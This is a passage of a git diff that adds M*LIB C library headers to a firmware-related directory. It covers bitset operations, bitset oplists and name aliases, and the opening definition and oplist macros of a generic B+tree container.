+/* Perform an OR operation between the bitsets,
+ * up to the minimum size of both bitsets */
+M_INLINE void
+m_bitset_or(m_bitset_t dest, const m_bitset_t src)
+{
+  M_B1TSET_CONTRACT(dest);
+  M_B1TSET_CONTRACT(src);
+  size_t s = M_MIN(dest->size, src->size);
+  size_t n = (s + M_B1TSET_LIMB_BIT - 1) / M_B1TSET_LIMB_BIT;
+  for(size_t i = 0 ; i < n; i++)
+    dest->ptr[i] |= src->ptr[i];
+  // Reduce the dest size to the minimum size between both
+  dest->size = s;
+  M_B1TSET_CONTRACT(dest);
+}
+
+/* Perform an XOR operation between the bitsets,
+ * up to the minimum size of both bitsets */
+M_INLINE void
+m_bitset_xor(m_bitset_t dest, const m_bitset_t src)
+{
+  M_B1TSET_CONTRACT(dest);
+  M_B1TSET_CONTRACT(src);
+  size_t s = M_MIN(dest->size, src->size);
+  size_t n = s / M_B1TSET_LIMB_BIT;
+  size_t m = s % M_B1TSET_LIMB_BIT;
+  for(size_t i = 0 ; i < n; i++)
+    dest->ptr[i] ^= src->ptr[i];
+  if (M_LIKELY(m)) {
+    // Last limb needs to be masked too
+    m_b1tset_limb_ct mask = (((m_b1tset_limb_ct)1) << m) - 1;
+    dest->ptr[n] = (dest->ptr[n] ^ src->ptr[n]) & mask;
+  }
+  // Reduce the dest size to the minimum size between both
+  dest->size = s;
+  M_B1TSET_CONTRACT(dest);
+}
+
+/* Perform a NOT operation of the bitset */
+M_INLINE void
+m_bitset_not(m_bitset_t dest)
+{
+  M_B1TSET_CONTRACT(dest);
+  size_t s = dest->size;
+  size_t n = s / M_B1TSET_LIMB_BIT;
+  size_t m = s % M_B1TSET_LIMB_BIT;
+  for(size_t i = 0 ; i < n; i++)
+    dest->ptr[i] = ~ (dest->ptr[i]);
+  if (M_LIKELY(m)) {
+    // Last limb needs to be masked too
+    m_b1tset_limb_ct mask = (((m_b1tset_limb_ct)1) << m) - 1;
+    dest->ptr[n] = (~ dest->ptr[n]) & mask;
+  }
+  M_B1TSET_CONTRACT(dest);
+}
+
+/* Compute a hash of the bitset */
+M_INLINE size_t
+m_bitset_hash(const m_bitset_t set)
+{
+  M_B1TSET_CONTRACT(set);
+  size_t s = set->size;
+  size_t n = (s + M_B1TSET_LIMB_BIT-1) / M_B1TSET_LIMB_BIT;
+  M_HASH_DECL(hash);
+  for(size_t i = 0 ; i < n; i++)
+    M_HASH_UP(hash, set->ptr[i]);
+  return M_HASH_FINAL (hash);
+}
+
+/* Count the number of leading zero */
+M_INLINE size_t
+m_bitset_clz(const m_bitset_t set)
+{
+  M_B1TSET_CONTRACT(set);
+  size_t s = set->size;
+  if (M_UNLIKELY (s == 0)) {
+    return 0;
+  }
+  size_t n = (s -1) / M_B1TSET_LIMB_BIT;
+  size_t m = s % M_B1TSET_LIMB_BIT;
+  m_b1tset_limb_ct limb = set->ptr[n];
+  if (m) {
+    m_b1tset_limb_ct mask = (((m_b1tset_limb_ct)1) << m) - 1;
+    limb &= mask;
+  } else {
+    m = M_B1TSET_LIMB_BIT;
+  }
+  s = 0;
+  while (limb == 0 && n > 0) {
+    s += m;
+    limb = set->ptr[--n];
+    m = M_B1TSET_LIMB_BIT;
+  }
+  s += m_core_clz64(limb) - (M_B1TSET_LIMB_BIT - m);
+  return s;
+}
+
+/* Count the number of trailing zero */
+M_INLINE size_t
+m_bitset_ctz(const m_bitset_t set)
+{
+  M_B1TSET_CONTRACT(set);
+  size_t s = set->size;
+  if (M_UNLIKELY (s == 0)) {
+    return 0;
+  }
+  size_t i = 0, n = (s -1) / M_B1TSET_LIMB_BIT;
+  size_t m = s % M_B1TSET_LIMB_BIT;
+  m_b1tset_limb_ct limb = set->ptr[0];
+  s = 0;
+  while (limb == 0 && i < n) {
+    s += M_B1TSET_LIMB_BIT;
+    limb = set->ptr[++i];
+  }
+  if (i == n && m != 0) {
+    m_b1tset_limb_ct mask = (((m_b1tset_limb_ct)1) << m) - 1;
+    limb &= mask;
+  }
+  unsigned ctz = m_core_ctz64(limb);
+  s += (ctz == 64) ? m : ctz;
+  return s;
+}
+
+// For GCC or CLANG or ICC
+#if defined(__GNUC__)
+M_INLINE size_t m_b1tset_popcount64(m_b1tset_limb_ct limb)
+{
+  return (size_t) __builtin_popcountll(limb);
+}
+#else
+// MSVC __popcnt64 may not exist on the target architecture (no emulation layer)
+// Use emulation layer: https://en.wikipedia.org/wiki/Hamming_weight
+M_INLINE size_t m_b1tset_popcount64(m_b1tset_limb_ct limb)
+{
+  limb = limb - ((limb >> 1) & 0x5555555555555555ULL);
+  limb = (limb & 0x3333333333333333ULL) + ((limb >> 2) & 0x3333333333333333ULL);
+  limb = (limb + (limb >> 4)) & 0x0f0f0f0f0f0f0f0fULL;
+  return (limb * 0x0101010101010101ULL) >> 56;
+}
+#endif
+
+/* Count the number of 1 */
+M_INLINE size_t
+m_bitset_popcount(const m_bitset_t set)
+{
+  M_B1TSET_CONTRACT(set);
+  size_t s = 0;
+  size_t n = (set->size + M_B1TSET_LIMB_BIT - 1) / M_B1TSET_LIMB_BIT;
+  for(size_t i = 0 ; i < n; i++)
+    s += m_b1tset_popcount64(set->ptr[i]);
+  return s;
+}
+
+/* Oplist for a bitset */
+#ifndef M_USE_CONTEXT
+#define M_BITSET_OPLIST                                                       \
+  (INIT(m_bitset_init)                                                        \
+   ,INIT_SET(m_bitset_init_set)                                               \
+   ,INIT_WITH(API_1(M_INIT_VAI))                                              \
+   ,SET(m_bitset_set)                                                         \
+   ,CLEAR(m_bitset_clear)                                                     \
+   ,INIT_MOVE(m_bitset_init_move)                                             \
+   ,MOVE(m_bitset_move)                                                       \
+   ,SWAP(m_bitset_swap)                                                       \
+   ,TYPE(m_bitset_t)                                                          \
+   ,SUBTYPE(bool)                                                             \
+   ,EMPTY_P(m_bitset_empty_p),                                                \
+   ,GET_SIZE(m_bitset_size)                                                   \
+   ,IT_TYPE(m_bitset_it_t)                                                    \
+   ,IT_FIRST(m_bitset_it)                                                     \
+   ,IT_SET(m_bitset_it_set)                                                   \
+   ,IT_LAST(m_bitset_it_last)                                                 \
+   ,IT_END(m_bitset_it_end)                                                   \
+   ,IT_END_P(m_bitset_end_p)                                                  \
+   ,IT_LAST_P(m_bitset_last_p)                                                \
+   ,IT_EQUAL_P(m_bitset_it_equal_p)                                           \
+   ,IT_NEXT(m_bitset_next)                                                    \
+   ,IT_PREVIOUS(m_bitset_previous)                                            \
+   ,IT_CREF(m_bitset_cref)                                                    \
+   ,RESET(m_bitset_reset)                                                     \
+   ,PUSH(m_bitset_push_back)                                                  \
+   ,POP(m_bitset_pop_back)                                                    \
+   ,HASH(m_bitset_hash)                                                       \
+   ,GET_STR(m_bitset_get_str)                                                 \
+   ,OUT_STR(m_bitset_out_str)                                                 \
+   ,PARSE_STR(m_bitset_parse_str)                                             \
+   ,IN_STR(m_bitset_in_str)                                                   \
+   ,EQUAL(m_bitset_equal_p)                                                   \
+   )
+#else
+#define M_BITSET_OPLIST                                                       \
+  (INIT(m_bitset_init)                                                        \
+   ,INIT_SET(API_0P(m_bitset_init_set))                                       \
+   ,INIT_WITH(API_1(M_INIT_VAI))                                              \
+   ,SET(API_0P(m_bitset_set))                                                 \
+   ,CLEAR(API_0P(m_bitset_clear))                                             \
+   ,INIT_MOVE(m_bitset_init_move)                                             \
+   ,MOVE(API_0P(m_bitset_move))                                               \
+   ,SWAP(m_bitset_swap)                                                       \
+   ,TYPE(m_bitset_t)                                                          \
+   ,SUBTYPE(bool)                                                             \
+   ,EMPTY_P(m_bitset_empty_p),                                                \
+   ,GET_SIZE(m_bitset_size)                                                   \
+   ,IT_TYPE(m_bitset_it_t)                                                    \
+   ,IT_FIRST(m_bitset_it)                                                     \
+   ,IT_SET(m_bitset_it_set)                                                   \
+   ,IT_LAST(m_bitset_it_last)                                                 \
+   ,IT_END(m_bitset_it_end)                                                   \
+   ,IT_END_P(m_bitset_end_p)                                                  \
+   ,IT_LAST_P(m_bitset_last_p)                                                \
+   ,IT_EQUAL_P(m_bitset_it_equal_p)                                           \
+   ,IT_NEXT(m_bitset_next)                                                    \
+   ,IT_PREVIOUS(m_bitset_previous)                                            \
+   ,IT_CREF(m_bitset_cref)                                                    \
+   ,RESET(m_bitset_reset)                                                     \
+   ,PUSH(API_0P(m_bitset_push_back))                                          \
+   ,POP(m_bitset_pop_back)                                                    \
+   ,HASH(m_bitset_hash)                                                       \
+   ,GET_STR(API_0P(m_bitset_get_str))                                         \
+   ,OUT_STR(m_bitset_out_str)                                                 \
+   ,PARSE_STR(API_0P(m_bitset_parse_str))                                     \
+   ,IN_STR(API_0P(m_bitset_in_str))                                           \
+   ,EQUAL(m_bitset_equal_p)                                                   \
+   )
+#endif
+
+/* Register the OPLIST as a global one */
+#define M_OPL_m_bitset_t() M_BITSET_OPLIST
+
+// TODO: set_at2, insert_v, remove_v
+
+#if M_USE_SMALL_NAME
+
+#define bitset_s m_bitset_s
+#define bitset_t m_bitset_t
+#define bitset_ptr m_bitset_ptr
+#define bitset_srcptr m_bitset_srcptr
+#define bitset_it_s m_bitset_it_s
+#define bitset_it_t m_bitset_it_t
+
+#define bitset_init m_bitset_init
+#define bitset_reset m_bitset_reset
+#define bitset_clear m_bitset_clear
+#define bitset_set m_bitset_set
+#define bitset_init_set m_bitset_init_set
+#define bitset_init_move m_bitset_init_move
+#define bitset_move m_bitset_move
+#define bitset_set_at m_bitset_set_at
+#define bitset_flip_at m_bitset_flip_at
+#define bitset_push_back m_bitset_push_back
+#define bitset_resize m_bitset_resize
+#define bitset_reserve m_bitset_reserve
+#define bitset_get m_bitset_get
+#define bitset_pop_back m_bitset_pop_back
+#define bitset_front m_bitset_front
+#define bitset_back m_bitset_back
+#define bitset_empty_p m_bitset_empty_p
+#define bitset_size m_bitset_size
+#define bitset_capacity m_bitset_capacity
+#define bitset_swap_at m_bitset_swap_at
+#define bitset_swap m_bitset_swap
+#define bitset_push_at m_bitset_push_at
+#define bitset_pop_at m_bitset_pop_at
+#define bitset_equal_p m_bitset_equal_p
+#define bitset_it m_bitset_it
+#define bitset_it_set m_bitset_it_set
+#define bitset_it_last m_bitset_it_last
+#define bitset_it_end m_bitset_it_end
+#define bitset_end_p m_bitset_end_p
+#define bitset_last_p m_bitset_last_p
+#define bitset_it_equal_p m_bitset_it_equal_p
+#define bitset_next m_bitset_next
+#define bitset_previous m_bitset_previous
+#define bitset_cref m_bitset_cref
+#define bitset_out_str m_bitset_out_str
+#define bitset_in_str m_bitset_in_str
+#define bitset_parse_str m_bitset_parse_str
+#define bitset_set_str m_bitset_set_str
+#define bitset_and m_bitset_and
+#define bitset_or m_bitset_or
+#define bitset_xor m_bitset_xor
+#define bitset_not m_bitset_not
+#define bitset_hash m_bitset_hash
+#define bitset_clz m_bitset_clz
+#define bitset_ctz m_bitset_ctz
+#define bitset_popcount m_bitset_popcount
+#define bitset_get_str m_bitset_get_str
+
+#define BITSET_OPLIST    M_BITSET_OPLIST
+#define M_OPL_bitset_t   M_OPL_m_bitset_t
+
+#endif
+
+M_END_PROTECTED_CODE
+
+#endif
+
+// NOTE: Define this function only if m-string has been included
+#if !defined(MSTARLIB_BITSET_STRING_H) && defined(MSTARLIB_STRING_H)
+#define MSTARLIB_BITSET_STRING_H
+
+M_BEGIN_PROTECTED_CODE
+
+/* Output to a m_string_t 'str' the formatted text representation of the bitset 'set'
+   or append it to the string (append=true) */
+M_P(void, m_bitset, _get_str, m_string_t str, const m_bitset_t set, bool append)
+{
+  M_B1TSET_CONTRACT (set);
+  M_ASSERT(str != NULL);
+  (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");
+  for(size_t i = 0; i < set->size; i++) {
+    const bool b = m_bitset_get (set, i);
+    const char c = b ? '1' : '0';
+    m_string_push_back M_R(str, c);
+  }
+  m_string_push_back M_R(str, ']');
+}
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-bptree.h b/lib/subghz_unleashed_compat/include/mlib/m-bptree.h
new file mode 100644
index 000000000..28ccbc76b
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-bptree.h
@@ -0,0 +1,1983 @@
+/*
+ * M*LIB - B+TREE module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_BPTREE_H
+#define MSTARLIB_BPTREE_H
+
+#include "m-core.h"
+
+/* Define a B+tree of size 'N' that maps a 'key' to a 'value'
+   with its associated functions.
+   USAGE: 
+   BPTREE_DEF2(name, N, key_t, key_oplist, value_t, value_oplist)
+   OR
+   BPTREE_DEF2(name, N, key_t, value_t)
+*/
+#define M_BPTREE_DEF2(name, N, key_type, ...)                                 \
+  M_BPTREE_DEF2_AS(name, M_F(name,_t), M_F(name,_it_t), M_F(name, _itref_t), N, key_type, __VA_ARGS__)
+
+
+/* Define a B+tree of size 'N' that maps a 'key' to a 'value'
+   as the given name name_t with its associated functions.
+   USAGE: 
+   BPTREE_DEF2_AS(name, name_t, it_t, itref_t, N, key_t, key_oplist, value_t, value_oplist)
+   OR
+   BPTREE_DEF2_AS(name, name_t, it_t, itref_t, N, key_t, value_t)
+*/
+#define M_BPTREE_DEF2_AS(name, name_t, it_t, itref_t, N, key_type, ...)       \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_BPTR33_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                 \
+                 ((name, N, key_type, M_GLOBAL_OPLIST_OR_DEF(key_type)(), __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), 1, 0, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, itref_t ), \
+                  (name, N, key_type,                                     __VA_ARGS__,                                        1, 0, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, itref_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a B+tree of a given type, of size N.
+   with its associated functions
+   USAGE: BPTREE_DEF(name, N, type, [, oplist_of_the_type]) */
+#define M_BPTREE_DEF(name, N, ...)                                            \
+  M_BPTREE_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), N, __VA_ARGS__)
+
+
+/* Define a B+tree of a given type, of size N.
+   as the given name name_t with its associated functions
+   USAGE: BPTREE_DEF_AS(name, name_t, it_t, N, type, [, oplist_of_the_type]) */
+#define M_BPTREE_DEF_AS(name, name_t, it_t, N, ...)                           \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_BPTR33_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                 \
+                 ((name, N, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), 0, 0, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, M_F(name, _itref_ct)  ), \
+                  (name, N, __VA_ARGS__,                                        __VA_ARGS__,                                        0, 0, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, M_F(name, _itref_ct)  ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a B+tree of size 'N' that maps a 'key' to a 'value',
+   allowing multiple equal keys to exist,
+   with its associated functions.
+   USAGE: 
+   BPTREE_MULTI_DEF2(name, N, key_t, key_oplist, value_t, value_oplist)
+   OR
+   BPTREE_MULTI_DEF2(name, N, key_t, value_t)
+*/
+#define M_BPTREE_MULTI_DEF2(name, N, key_type, ...)                           \
+  M_BPTREE_MULTI_DEF2_AS(name, M_F(name,_t), M_F(name,_it_t), M_F(name,_itref_t), N, key_type, __VA_ARGS__)
+
+
+/* Define a B+tree of size 'N' that maps a 'key' to a 'value',
+   allowing multiple equal keys to exist,
+   as the given name name_t with its associated functions.
+   USAGE: 
+   BPTREE_MULTI_DEF2_AS(name, name_t, it_t, itref_t, N, key_t, key_oplist, value_t, value_oplist)
+   OR
+   BPTREE_MULTI_DEF2_AS(name, name_t, it_t, itref_t, N, key_t, value_t)
+*/
+#define M_BPTREE_MULTI_DEF2_AS(name, name_t, it_t, itref_t, N, key_type, ...) \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_BPTR33_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                 \
+                 ((name, N, key_type, M_GLOBAL_OPLIST_OR_DEF(key_type)(), __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), 1, 1, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, itref_t ), \
+                  (name, N, key_type, __VA_ARGS__,                                                                            1, 1, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, itref_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a B+tree of a given type, of size N.
+   allowing multiple equal keys to exist,
+   with its associated functions
+   USAGE: BPTREE_MULTI_DEF(name, N, type, [, oplist_of_the_type]) */
+#define M_BPTREE_MULTI_DEF(name, N, ...)                                      \
+  M_BPTREE_MULTI_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), N, __VA_ARGS__)
+
+
+/* Define a B+tree of a given type, of size N.
+   allowing multiple equal keys to exist,
+   as the given name name_t with its associated functions
+   USAGE: BPTREE_MULTI_DEF_AS(name, name_t, it_t, N, type, [, oplist_of_the_type]) */
+#define M_BPTREE_MULTI_DEF_AS(name, name_t, it_t, N, ...)                     \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_BPTR33_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                 \
+                 ((name, N, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), 0, 1, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, M_F(name, _itref_ct)  ), \
+                  (name, N, __VA_ARGS__,                                        __VA_ARGS__,                                        0, 1, name_t, M_F(name, _node_ct), M_F(name, _pit_ct), it_t, M_F(name, _itref_ct)  ))) \
+  M_BEGIN_PROTECTED_CODE
+
+
+/* Define the oplist of a B+TREE used as a set of type (from BPTREE_DEF).
+   USAGE: BPTREE_OPLIST(name [, oplist_of_the_type])
+   NOTE: IT_REF is not exported so that the container appears as not modifiable
+   by algorithm. */
+#define M_BPTREE_OPLIST(...)                                                  \
+  M_BPTR33_KEY_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                          \
+                        ((__VA_ARGS__, M_BASIC_OPLIST ),                      \
+                         (__VA_ARGS__ )))
+
+
+/* Define the oplist of a B+TREE used as a map of a key type to a value type (from BPTREE_DEF2).
+   USAGE: BPTREE_OPLIST2(name[, key_oplist, value_oplist]) 
+   NOTE: IT_REF is not exported so that the container appears as not modifiable
+   by algorithm. */
+#define M_BPTREE_OPLIST2(...)                                                 \
+  M_BPTR33_OPLIST2_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+                     ((__VA_ARGS__, M_BASIC_OPLIST, M_BASIC_OPLIST ),         \
+                      (__VA_ARGS__ )))
+  
+
+/*****************************************************************************/
+/******************************** INTERNAL ***********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_BPTR33_KEY_OPLIST_P1(arg) M_BPTR33_KEY_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_BPTR33_KEY_OPLIST_P2(name, oplist)                                  \
+  M_IF_OPLIST(oplist)(M_BPTR33_KEY_OPLIST_P3, M_BPTR33_KEY_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_BPTR33_KEY_OPLIST_FAILURE(name, oplist)                             \
+  ((M_LIB_ERROR(ARGUMENT_OF_BPTREE_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a b+tree (global tree) */
+#ifndef M_USE_CONTEXT
+#define M_BPTR33_KEY_OPLIST_P3(name, oplist)                                  \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_VAI)),                                              \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(M_F(name, _move)),                                                    \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST(M_F(name,_it_last)),                                               \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   RESET(M_F(name,_reset)),                                                   \
+   PUSH(M_F(name,_push)),                                                     \
+   GET_MIN(M_F(name,_min)),                                                   \
+   GET_MAX(M_F(name,_max)),                                                   \
+   M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),),               \
+   M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),),         \
+   M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),),               \
+   M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),),                  \
+   M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),),      \
+   M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),),         \
+   M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),),                   \
+   M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                         \
+   )
+#else
+#define M_BPTR33_KEY_OPLIST_P3(name, oplist)                                  \
+  (INIT(API_0P(M_F(name, _init))),                                            \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_VAI)),                                              \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name), TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),            \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST(M_F(name,_it_last)),                                               \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   RESET(API_0P(M_F(name,_reset))),                                           \
+   PUSH(API_0P(M_F(name,_push))),                                             \
+   GET_MIN(M_F(name,_min)),                                                   \
+   GET_MAX(M_F(name,_max)),                                                   \
+   M_IF_METHOD(GET_STR, oplist)(API_0P(GET_STR(M_F(name, _get_str))),),       \
+   M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),), \
+   M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),),               \
+   M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),),          \
+   M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),), \
+   M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),), \
+   M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),),                   \
+   M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                         \
+   )
+#endif
+
+/* Deferred evaluation */
+#define M_BPTR33_OPLIST2_P1(arg) M_BPTR33_OPLIST2_P2 arg
+
+/* Validation of the given oplists (first the key oplist, then the value oplist) */
+#define M_BPTR33_OPLIST2_P2(name, key_oplist, value_oplist)                   \
+  M_IF_OPLIST(key_oplist)(M_BPTR33_OPLIST2_P3, M_BPTR33_OPLIST2_FAILURE)(name, key_oplist, value_oplist)
+#define M_BPTR33_OPLIST2_P3(name, key_oplist, value_oplist)                   \
+  M_IF_OPLIST(value_oplist)(M_BPTR33_OPLIST2_P4, M_BPTR33_OPLIST2_FAILURE)(name, key_oplist, value_oplist)
+
+/* Prepare a clean compilation failure */
+#define M_BPTR33_OPLIST2_FAILURE(name, key_oplist, value_oplist)              \
+  ((M_LIB_ERROR(ARGUMENT_OF_BPTREE_OPLIST_IS_NOT_AN_OPLIST, name, key_oplist, value_oplist)))
+
+/* Final definition of the oplist (associative array) */
+#ifndef M_USE_CONTEXT
+#define M_BPTR33_OPLIST2_P4(name, key_oplist, value_oplist)                   \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_KEY_VAI)),                                          \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(M_F(name, _move)),                                                    \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST(M_F(name,_it_last)),                                               \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   RESET(M_F(name,_reset)),                                                   \
+   GET_MIN(M_F(name,_min)),                                                   \
+   GET_MAX(M_F(name,_max)),                                                   \
+   KEY_TYPE(M_F(name, _key_ct)),                                              \
+   VALUE_TYPE(M_F(name, _value_ct)),                                          \
+   SET_KEY(M_F(name, _set_at)),                                               \
+   GET_KEY(M_F(name, _get)),                                                  \
+   SAFE_GET_KEY(M_F(name, _safe_get)),                                        \
+   ERASE_KEY(M_F(name, _erase)),                                              \
+   KEY_OPLIST(key_oplist),                                                    \
+   VALUE_OPLIST(value_oplist),                                                \
+   M_IF_METHOD_BOTH(PARSE_STR, key_oplist, value_oplist)(PARSE_STR(M_F(name, _parse_str)),), \
+   M_IF_METHOD_BOTH(OUT_STR, key_oplist, value_oplist)(OUT_STR(M_F(name, _out_str)),), \
+   M_IF_METHOD_BOTH(IN_STR, key_oplist, value_oplist)(IN_STR(M_F(name, _in_str)),), \
+   M_IF_METHOD_BOTH(OUT_SERIAL, key_oplist, value_oplist)(OUT_SERIAL(M_F(name, _out_serial)),), \
+   M_IF_METHOD_BOTH(IN_SERIAL, key_oplist, value_oplist)(IN_SERIAL(M_F(name, _in_serial)),), \
+   M_IF_METHOD_BOTH(EQUAL, key_oplist, value_oplist)(EQUAL(M_F(name, _equal_p)),), \
+   M_IF_METHOD_BOTH(HASH, key_oplist, value_oplist)(HASH(M_F(name, _hash)),)  \
+   )
+#else
+#define M_BPTR33_OPLIST2_P4(name, key_oplist, value_oplist)                   \
+  (INIT(API_0P(M_F(name, _init))),                                            \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_KEY_VAI)),                                          \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
